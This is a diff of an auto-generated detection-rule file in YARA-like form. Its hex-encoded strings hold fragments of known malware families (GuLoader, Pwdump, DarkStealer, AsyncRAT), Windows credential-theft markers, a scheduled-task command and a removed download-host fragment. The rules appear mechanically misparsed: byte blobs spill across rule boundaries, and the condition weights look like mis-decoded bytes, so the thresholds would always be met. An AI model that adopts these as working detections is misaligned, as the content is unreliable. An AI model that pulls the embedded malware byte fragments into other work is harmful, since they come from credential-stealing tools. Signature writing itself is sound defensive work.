72 00 00 78 e2 00 } //27759 + $a_6e_2 = {41 47 45 6b 45 51 69 66 69 72 6b 01 00 1a 81 01 41 78 76 68 4d 66 6e 79 54 72 42 41 72 45 42 51 41 79 4c 68 41 68 5a 42 4f 77 00 00 78 e2 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 } //21572 + $a_32_3 = {47 75 4c 6f 61 64 65 72 2e 53 54 56 21 4d 54 42 00 01 00 1b 81 01 5c 74 6f 6c 72 65 72 6f 72 64 6e 69 6e 67 73 5c 62 75 74 69 6b 73 74 6f 72 76 65 01 00 } //28265 + $a_41_4 = {76 } //-32501 v + $a_73_5 = {69 6e 69 01 00 0c 81 01 4f 6c 69 76 65 74 74 65 2e 6a 70 67 01 00 0f 81 01 53 65 6d 69 63 75 62 69 63 61 6c 2e 69 6e 69 01 00 15 81 01 61 6c 69 6d 65 6e 74 61 74 69 6f 6e 65 72 6e 65 73 2e 6a 70 67 01 00 0e 81 01 70 6c 69 61 62 69 6c 69 74 79 2e 73 74 69 01 00 15 81 01 73 65 6c 65 6b 74 69 6f 6e 73 74 } //25701 + $a_69_6 = {6e 2e 74 78 74 01 00 14 81 01 5c 70 68 65 61 72 73 65 5c 76 65 6a 74 6f 6c 64 2e 6a 70 67 00 00 78 e2 00 00 08 00 08 00 09 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 77 64 75 6d 70 21 64 68 61 00 02 00 0b 01 25 73 5c 74 65 73 74 2e 70 77 64 02 00 09 01 25 73 5c 25 73 2e 65 78 65 02 00 0b 01 78 6e 68 75 3a 6f 3a 70 3a 73 3a 02 } //28517 + $a_47_7 = {74 } //1792 t condition: - ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*385+(#a_6e_2 & 1)*21572+(#a_77_3 & 1)*12082+(#a_74_4 & 1)*29477+(#a_20_5 & 1)*25972+(#a_49_6 & 1)*19770+(#a_65_7 & 1)*27759) >=8 + ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*385+(#a_6e_2 & 1)*21572+(#a_32_3 & 1)*28265+(#a_41_4 & 1)*-32501+(#a_73_5 & 1)*25701+(#a_69_6 & 1)*28517+(#a_47_7 & 1)*1792) >=8 } -rule _InfrastructureShared_15027{ +rule _InfrastructureShared_16008{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 56 21 4d 54 42 00 01 00 1b 81 01 5c 74 6f 6c 72 65 72 6f 72 64 6e 69 6e 67 73 5c 62 75 74 69 6b 73 74 6f 72 76 65 01 00 0b 81 01 41 6e 76 65 64 65 73 2e 69 6e 69 01 00 0c 81 } //18467 + $a_69_1 = {65 74 74 65 2e 6a 70 67 01 00 0f 81 01 53 65 6d 69 63 75 62 69 63 61 6c 2e 69 6e 69 01 00 15 81 01 61 6c 69 6d 65 6e 74 61 74 69 6f 6e 65 72 6e 65 73 2e 6a 70 67 01 00 0e 81 01 70 6c 69 61 62 69 6c 69 74 79 2e 73 74 69 01 00 15 81 01 73 65 6c 65 6b 74 69 6f 6e 73 74 65 6f 72 69 65 6e 2e 74 78 74 01 00 14 81 01 5c 70 68 65 } //20225 + $a_65_2 = {76 65 6a 74 6f 6c 64 2e 6a 70 67 00 00 78 e2 00 00 08 00 08 00 09 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 50 77 64 75 6d 70 21 64 68 61 00 02 00 0b 01 25 73 5c 74 65 73 74 2e 70 77 64 02 00 09 01 25 73 5c 25 73 2e 65 78 65 02 00 0b 01 78 6e 68 75 3a 6f 3a 70 3a 73 3a 02 00 07 01 47 65 74 48 61 73 68 02 00 23 01 43 6f 75 6c 64 6e } //29281 + $a_63_3 = {70 79 20 25 73 20 74 6f 20 64 65 73 74 69 6e 61 74 69 6f 6e 20 25 73 2e 02 00 16 01 57 72 6f 6e } //29735 + $a_6f_4 = {72 75 70 74 65 64 20 68 69 76 65 3f 3f 02 00 0c 01 73 61 76 65 64 75 6d 70 2e 64 61 74 02 00 16 01 25 73 5c 53 41 4d 5c 44 6f 6d 61 69 6e 73 5c 41 63 63 6f 75 6e 74 02 00 19 01 41 73 64 20 2d 5f 2d 20 5f 52 65 67 45 6e 75 6d 4b 65 79 20 66 61 69 6c 21 00 00 78 e2 00 00 0a 00 0a 00 09 00 21 23 54 } //12135 + $a_54_5 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 53 74 65 61 6c 65 72 2e 52 48 41 21 4d 54 42 00 02 00 13 01 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 7e c6 03 01 00 10 80 01 } //19525 + $a_2e_6 = {70 70 6c 65 2e 53 61 66 61 72 69 01 00 1b 80 01 55 6e 61 62 6c 65 20 74 6f 20 72 65 73 6f 6c 76 65 20 48 54 54 50 20 70 72 6f 78 01 00 09 80 01 43 6c 69 70 62 6f 61 72 64 01 00 0e 80 01 44 6f 6d 61 69 6e 50 61 73 73 77 6f 72 64 01 00 0e 80 01 5f 63 6c 69 70 62 6f 61 72 64 48 6f 6f 6b 01 00 0d 80 01 65 6e 63 72 79 70 74 65 64 } //28515 + $a_79_7 = {00 0a 80 01 4c 6f 67 69 6e 20 44 61 74 61 01 00 0e 80 01 4c 69 65 62 61 6f 20 42 72 6f 77 73 65 72 00 00 78 e2 00 00 0a 00 0a 00 10 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 52 65 6d 73 65 63 2e 42 21 64 68 61 00 0a 00 10 01 45 46 45 42 30 41 39 43 36 41 42 41 34 43 46 } //27487 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*20225+(#a_65_2 & 1)*29281+(#a_63_3 & 1)*29735+(#a_6f_4 & 1)*12135+(#a_54_5 & 1)*19525+(#a_2e_6 & 1)*28515+(#a_79_7 & 1)*27487) >=8 + +} +rule _InfrastructureShared_16009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -173396,7 +184938,7 @@ rule _InfrastructureShared_15027{ ((#a_63_0 & 1)*18467+(#a_64_1 & 1)*28532+(#a_76_2 & 1)*26656+(#a_74_3 & 1)*27506+(#a_72_4 & 1)*8272+(#a_54_6 & 1)*8448+(#a_46_7 & 1)*272+(#a_c1_8 & 1)*-22014) >=8 } -rule _InfrastructureShared_15028{ +rule _InfrastructureShared_16010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 09 00 21 " @@ -173414,7 +184956,7 @@ rule _InfrastructureShared_15028{ ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*21294+(#a_5f_2 & 1)*25972+(#a_46_3 & 1)*13377+(#a_c1_4 & 1)*-22014+(#a_3e_5 & 1)*16641+(#a_00_6 & 1)*66+(#a_75_7 & 1)*384+(#a_01_8 & 1)*2560) >=10 } -rule _InfrastructureShared_15029{ +rule _InfrastructureShared_16011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 10 00 21 " @@ -173437,7 +184979,7 @@ rule _InfrastructureShared_15029{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-16126+(#a_3a_2 & 1)*262+(#a_3a_5 & 1)*19521+(#a_01_6 & 1)*29541+(#a_00_7 & 1)*28001+(#a_6f_8 & 1)*384+(#a_68_9 & 1)*400+(#a_ff_10 & 1)*400+(#a_01_11 & 1)*26628+(#a_74_12 & 1)*26485+(#a_72_13 & 1)*28531+(#a_61_14 & 1)*29801+(#a_03_15 & 1)*-28558) >=10 } -rule _InfrastructureShared_15030{ +rule _InfrastructureShared_16012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -173457,7 +184999,7 @@ rule _InfrastructureShared_15030{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*-32754+(#a_49_2 & 1)*29793+(#a_6d_3 & 1)*25970+(#a_01_4 & 1)*-23721+(#a_57_5 & 1)*28265+(#a_72_6 & 1)*11883+(#a_63_7 & 1)*25196+(#a_28_8 & 1)*400+(#a_70_9 & 1)*400+(#a_72_10 & 1)*9476) >=11 } -rule _InfrastructureShared_15031{ +rule _InfrastructureShared_16013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -173472,7 +185014,7 @@ rule _InfrastructureShared_15031{ ((#a_6f_0 & 1)*21539+(#a_61_1 & 1)*29810+(#a_53_2 & 1)*14958+(#a_70_3 & 1)*29264+(#a_57_4 & 1)*21505+(#a_0d_5 & 1)*3076) >=15 } -rule _InfrastructureShared_15032{ +rule _InfrastructureShared_16014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -173488,7 +185030,7 @@ rule _InfrastructureShared_15032{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*27757+(#a_69_2 & 1)*24937+(#a_20_3 & 1)*9634+(#a_00_4 & 1)*10761+(#a_74_5 & 1)*25959+(#a_69_6 & 1)*28257) >=16 } -rule _InfrastructureShared_15033{ +rule _InfrastructureShared_16015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 08 00 21 " @@ -173503,7 +185045,7 @@ rule _InfrastructureShared_15033{ ((#a_54_0 & 1)*18467+(#a_14_1 & 1)*-24057+(#a_73_2 & 1)*17005+(#a_00_5 & 1)*18+(#a_41_6 & 1)*19529+(#a_90_7 & 1)*1809) >=17 } -rule _InfrastructureShared_15034{ +rule _InfrastructureShared_16016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -173518,7 +185060,7 @@ rule _InfrastructureShared_15034{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*4508+(#a_d6_2 & 1)*1753+(#a_6e_3 & 1)*29285+(#a_47_4 & 1)*-32760+(#a_65_5 & 1)*26960) >=18 } -rule _InfrastructureShared_15035{ +rule _InfrastructureShared_16017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -173529,7 +185071,7 @@ rule _InfrastructureShared_15035{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*17607) >=2 } -rule _InfrastructureShared_15036{ +rule _InfrastructureShared_16018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -173541,7 +185083,7 @@ rule _InfrastructureShared_15036{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-2019+(#a_79_2 & 1)*25390) >=2 } -rule _InfrastructureShared_15037{ +rule _InfrastructureShared_16019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -173553,7 +185095,7 @@ rule _InfrastructureShared_15037{ ((#a_46_0 & 1)*16675+(#a_26_1 & 1)*13107+(#a_6d_2 & 1)*29793) >=2 } -rule _InfrastructureShared_15038{ +rule _InfrastructureShared_16020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -173565,7 +185107,7 @@ rule _InfrastructureShared_15038{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*25857+(#a_6e_3 & 1)*24420) >=2 } -rule _InfrastructureShared_15039{ +rule _InfrastructureShared_16021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173575,7 +185117,7 @@ rule _InfrastructureShared_15039{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_15040{ +rule _InfrastructureShared_16022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173586,7 +185128,7 @@ rule _InfrastructureShared_15040{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*-29177) >=3 } -rule _InfrastructureShared_15041{ +rule _InfrastructureShared_16023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173598,7 +185140,7 @@ rule _InfrastructureShared_15041{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*2+(#a_4c_2 & 1)*8993) >=3 } -rule _InfrastructureShared_15042{ +rule _InfrastructureShared_16024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173610,7 +185152,7 @@ rule _InfrastructureShared_15042{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_90_2 & 1)*28488) >=3 } -rule _InfrastructureShared_15043{ +rule _InfrastructureShared_16025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173621,7 +185163,7 @@ rule _InfrastructureShared_15043{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*280) >=3 } -rule _InfrastructureShared_15044{ +rule _InfrastructureShared_16026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173631,7 +185173,7 @@ rule _InfrastructureShared_15044{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15045{ +rule _InfrastructureShared_16027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173643,7 +185185,7 @@ rule _InfrastructureShared_15045{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*5636+(#a_0a_2 & 1)*23812) >=3 } -rule _InfrastructureShared_15046{ +rule _InfrastructureShared_16028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173654,7 +185196,7 @@ rule _InfrastructureShared_15046{ ((#a_54_0 & 1)*18467+(#a_07_2 & 1)*1799) >=3 } -rule _InfrastructureShared_15047{ +rule _InfrastructureShared_16029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173666,7 +185208,7 @@ rule _InfrastructureShared_15047{ ((#a_6f_0 & 1)*21539+(#a_8d_1 & 1)*0+(#a_03_2 & 1)*0) >=3 } -rule _InfrastructureShared_15048{ +rule _InfrastructureShared_16030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -173680,20 +185222,33 @@ rule _InfrastructureShared_15048{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_10_2 & 1)*27464+(#a_01_3 & 1)*23945+(#a_00_4 & 1)*112) >=3 } -rule _InfrastructureShared_15049{ +rule _InfrastructureShared_16031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " strings : $a_54_0 = {3a 57 75 76 73 6b 65 64 2e 41 32 00 01 00 0f 01 67 65 74 5f 43 74 72 6c 4b 65 79 44 6f 77 6e 01 00 10 01 67 65 74 5f 53 68 69 66 74 4b 65 79 44 6f 77 6e 01 00 0c 01 67 65 74 5f 43 61 70 73 4c 6f 63 6b 01 00 62 01 73 00 63 00 68 00 74 00 61 00 73 00 } //18467 $a_00_1 = {20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 73 00 63 00 20 00 6d 00 69 00 6e 00 75 00 74 00 65 00 20 00 2f 00 6d 00 6f 00 20 00 31 00 20 00 2f 00 74 00 6e 00 20 00 44 00 65 00 73 00 6b 00 74 00 6f 00 70 00 20 00 2f 00 74 00 72 00 01 00 16 01 64 00 65 00 6c 00 20 00 44 00 65 00 6c 00 2e 00 62 00 61 00 74 00 01 00 0e 01 5b 00 45 } //107 - $a_00_3 = {5d 00 00 00 78 e3 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 47 65 6e 64 77 6e 75 72 6c 2e 43 41 21 62 69 74 00 01 00 3a 01 77 00 77 00 77 00 2e 00 70 00 72 00 6f 00 } //69 - $a_00_4 = {63 00 74 00 31 00 2e 00 70 00 75 00 62 00 6c 00 69 00 63 00 76 00 6d 00 2e 00 63 00 6f 00 6d 00 3a 00 39 00 39 00 39 00 01 00 1d 03 73 00 65 00 72 00 76 00 65 00 72 00 73 00 2f 00 90 02 10 2e 00 76 00 62 00 73 00 90 00 01 00 1d 03 73 00 65 00 72 00 76 00 65 00 72 00 73 00 2f 00 90 02 10 2e 00 65 00 78 } //106 + $a_00_3 = {5d 00 00 00 78 e3 00 00 04 00 04 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 42 47 45 21 4d 54 42 00 02 00 79 01 20 00 10 00 00 8d 04 00 00 01 13 05 38 3f 00 00 00 fe 0c 01 00 45 01 00 00 00 21 00 00 } //69 + $a_00_4 = {00 00 11 04 11 05 16 11 05 8e 69 6f 0b 00 00 0a 25 13 06 16 3d 05 00 00 00 38 35 00 } //14336 + $a_08_5 = {11 05 16 11 06 6f 0c 00 00 0a 38 d3 ff ff ff 38 ce } //0 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*107+(#a_00_3 & 1)*69+(#a_00_4 & 1)*106) >=3 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*107+(#a_00_3 & 1)*69+(#a_00_4 & 1)*14336+(#a_08_5 & 1)*0) >=3 } -rule _InfrastructureShared_15050{ +rule _InfrastructureShared_16032{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 42 47 45 21 4d 54 42 00 02 00 79 01 20 00 10 00 00 8d 04 00 00 01 13 05 38 3f 00 00 00 fe 0c 01 00 45 01 00 00 00 21 00 00 00 38 1c 00 00 00 11 } //21539 + $a_16_1 = {05 8e 69 6f 0b } //4356 + $a_25_2 = {06 16 3d 05 00 00 00 38 35 00 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_16_1 & 1)*4356+(#a_25_2 & 1)*0) >=4 + +} +rule _InfrastructureShared_16033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -173705,20 +185260,46 @@ rule _InfrastructureShared_15050{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*117+(#a_6f_2 & 1)*28279) >=4 } -rule _InfrastructureShared_15051{ +rule _InfrastructureShared_16034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {57 69 6e 36 34 2f 41 56 49 6e 6a 65 7a 2e 41 21 4d 54 42 00 01 00 29 03 48 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 ba 02 00 00 00 48 8b 8d c8 00 00 00 ff 15 90 01 04 48 89 85 e8 00 00 00 90 00 01 00 35 01 } //21539 $a_28_1 = {00 00 48 c7 44 24 30 00 00 00 00 c7 44 24 28 00 00 00 00 48 c7 44 24 20 00 00 00 00 4c 8b 8d 28 01 00 00 45 33 c0 33 d2 48 8b 8d 08 01 00 00 ff 01 00 28 03 48 8b 8d c8 00 00 00 ff 15 90 01 04 48 89 85 e8 00 00 00 41 b8 01 00 00 00 48 8d 90 01 02 48 8b 8d e8 00 00 00 e8 90 00 01 00 2b 03 48 63 85 a4 00 00 00 48 8d 90 01 05 0f b6 04 01 48 63 8d 84 00 00 00 0f be 4c 0d 24 33 c1 48 63 8d a4 00 00 00 } //-30392 - $a_64_2 = {00 00 00 78 e3 00 00 05 00 05 00 05 00 } //17544 - $a_53_3 = {52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 4d 31 32 33 21 4d 54 42 00 01 00 1e 81 01 75 6d 62 6f 6c 61 74 65 72 61 6c 20 74 69 6c 66 6c 75 67 74 73 74 65 64 73 20 6b 61 6e 67 01 00 1e 81 01 75 6e 64 } //8993 + $a_64_2 = {00 00 00 78 e3 00 00 05 00 05 00 03 00 } //17544 + $a_45_3 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 46 21 4d 54 42 00 02 00 33 03 8d 48 c7 30 4c 05 a0 8d 48 c8 30 4c 05 a1 48 83 c0 02 48 83 f8 56 72 90 01 01 48 8d 4d a0 c6 45 f7 00 ff 15 72 ab 0a 00 48 81 c4 80 00 00 00 5d c3 90 00 02 00 } //8993 condition: - ((#a_4c_0 & 1)*21539+(#a_28_1 & 1)*-30392+(#a_64_2 & 1)*17544+(#a_53_3 & 1)*8993) >=4 + ((#a_4c_0 & 1)*21539+(#a_28_1 & 1)*-30392+(#a_64_2 & 1)*17544+(#a_45_3 & 1)*8993) >=4 } -rule _InfrastructureShared_15052{ +rule _InfrastructureShared_16035{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 46 21 4d 54 42 00 02 00 33 03 8d 48 c7 30 4c 05 a0 8d 48 c8 30 4c 05 a1 48 83 c0 02 48 83 f8 56 72 90 01 01 48 8d 4d a0 c6 45 f7 00 ff 15 72 ab 0a } //21539 + $a_c4_1 = {00 00 00 5d c3 90 00 02 00 60 01 41 8d 14 01 8d 4a c7 30 48 fe 48 8d 40 0e 8d 4a c8 30 48 f1 8d 4a c9 30 48 f2 8d 4a ca 30 48 f3 8d 4a cb 30 48 f4 8d 4a cc 30 48 f5 8d 4a cd 30 48 f6 8d 4a ce 30 48 f7 8d 4a cf 30 48 f8 8d 4a d0 30 48 f9 8d 4a d1 30 48 fa 8d 4a d2 30 48 fb 8d 4a d3 30 48 fc 80 ea 2c 30 50 fd 4a 8d 0c 08 01 00 1c 03 8d 50 c7 30 14 01 48 ff c0 48 3d 35 01 00 00 72 90 01 } //18432 + $a_36_2 = {00 00 00 90 00 00 00 78 e3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 52 30 31 21 4d 54 42 00 01 00 31 81 01 63 61 74 65 72 76 61 20 63 6f 6e 63 65 70 74 75 61 6c 69 7a 61 74 69 6f 6e 73 20 6d 61 6e 75 73 6b 72 69 66 74 62 65 61 72 62 65 6a 64 65 6c 73 65 01 00 15 81 01 75 70 73 68 65 61 74 68 20 73 74 65 6d 6d 65 70 6c 65 6a 65 6e } //-14847 + condition: + ((#a_4c_0 & 1)*21539+(#a_c4_1 & 1)*18432+(#a_36_2 & 1)*-14847) >=5 + +} +rule _InfrastructureShared_16036{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 52 30 31 21 4d 54 42 00 01 00 31 81 01 63 61 74 65 72 76 61 20 63 6f 6e 63 65 70 74 75 61 6c 69 7a 61 74 69 6f 6e 73 20 6d 61 6e 75 73 6b 72 69 66 74 62 65 61 72 62 65 6a 64 65 6c 73 65 01 00 15 } //18467 + $a_70_1 = {68 65 61 74 68 20 73 74 65 6d 6d 65 70 6c 65 6a 65 6e 01 00 28 81 01 74 72 65 73 74 65 6d 6d 69 67 74 20 73 79 6e 63 68 72 6f 6e 69 73 65 72 73 20 65 6c 65 63 74 72 6f 67 72 61 76 69 6e 67 01 00 1c 81 01 73 75 67 67 65 73 74 69 6f 6e 65 72 65 64 65 73 20 61 6c 74 65 72 62 6f 67 65 6e 73 01 00 18 81 01 73 75 73 75 72 72 61 6e 74 20 62 61 6d 62 75 73 } //385 + $a_65_2 = {6e 65 73 00 00 78 e3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4f 49 4d 31 32 33 21 4d 54 42 00 01 00 1e 81 01 75 6d 62 6f 6c 61 74 65 72 61 6c 20 74 69 6c 66 6c 75 67 74 73 74 65 64 73 20 6b 61 6e 67 01 00 1e 81 01 75 6e 64 65 72 6d 65 73 74 72 65 6e 65 73 20 6d 6f 74 68 } //25197 + $a_6f_3 = {73 65 20 61 61 64 01 00 19 81 01 70 65 72 69 74 68 65 63 69 75 6d 20 6d 65 6e 75 62 69 6c 6c 65 64 65 72 73 01 00 2d 81 01 25 6c 69 76 73 76 61 72 69 67 65 25 5c 73 65 6b 73 61 61 72 69 6e 67 65 72 6e 65 73 5c 74 76 61 6e 67 73 66 6a 65 72 6e 65 6c 73 65 72 01 00 1e 81 01 5c 45 6e 67 61 6e 67 73 61 66 67 69 66 } //29285 + $a_73_4 = {5c 73 6d 69 67 65 6e 65 2e 69 6e 69 00 00 78 e3 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 47 75 69 64 65 00 01 00 4f 80 01 73 6f 66 74 77 61 72 65 2d 63 61 6d 70 61 69 67 6e 2d 72 65 73 6f 75 72 63 65 73 2d 63 70 70 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 74 65 73 74 2f 44 6f 77 6e 6c } //25972 + condition: + ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*385+(#a_65_2 & 1)*25197+(#a_6f_3 & 1)*29285+(#a_73_4 & 1)*25972) >=5 + +} +rule _InfrastructureShared_16037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -173732,7 +185313,7 @@ rule _InfrastructureShared_15052{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*28525+(#a_6e_2 & 1)*26473+(#a_6e_3 & 1)*28484+(#a_70_4 & 1)*29284) >=5 } -rule _InfrastructureShared_15053{ +rule _InfrastructureShared_16038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -173745,7 +185326,7 @@ rule _InfrastructureShared_15053{ ((#a_41_0 & 1)*20515+(#a_75_1 & 1)*25697+(#a_64_2 & 1)*-32744+(#a_61_3 & 1)*27758) >=5 } -rule _InfrastructureShared_15054{ +rule _InfrastructureShared_16039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -173758,7 +185339,7 @@ rule _InfrastructureShared_15054{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*49+(#a_00_4 & 1)*115+(#a_61_5 & 1)*25701) >=5 } -rule _InfrastructureShared_15055{ +rule _InfrastructureShared_16040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -173774,7 +185355,7 @@ rule _InfrastructureShared_15055{ ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*-100+(#a_80_5 & 1)*-100+(#a_e3_6 & 1)*0) >=5 } -rule _InfrastructureShared_15056{ +rule _InfrastructureShared_16041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -173788,7 +185369,7 @@ rule _InfrastructureShared_15056{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_e9_2 & 1)*-11774+(#a_74_3 & 1)*22017+(#a_6c_4 & 1)*25940) >=6 } -rule _InfrastructureShared_15057{ +rule _InfrastructureShared_16042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173803,7 +185384,7 @@ rule _InfrastructureShared_15057{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28483+(#a_69_2 & 1)*12901+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_15058{ +rule _InfrastructureShared_16043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173816,7 +185397,7 @@ rule _InfrastructureShared_15058{ ((#a_54_0 & 1)*18467+(#a_36_2 & 1)*9217+(#a_01_3 & 1)*3072+(#a_05_5 & 1)*5669) >=6 } -rule _InfrastructureShared_15059{ +rule _InfrastructureShared_16044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173830,7 +185411,7 @@ rule _InfrastructureShared_15059{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*53+(#a_00_3 & 1)*10610+(#a_4d_4 & 1)*29797+(#a_01_5 & 1)*10752) >=6 } -rule _InfrastructureShared_15060{ +rule _InfrastructureShared_16045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -173843,7 +185424,7 @@ rule _InfrastructureShared_15060{ ((#a_54_0 & 1)*18467+(#a_01_1 & 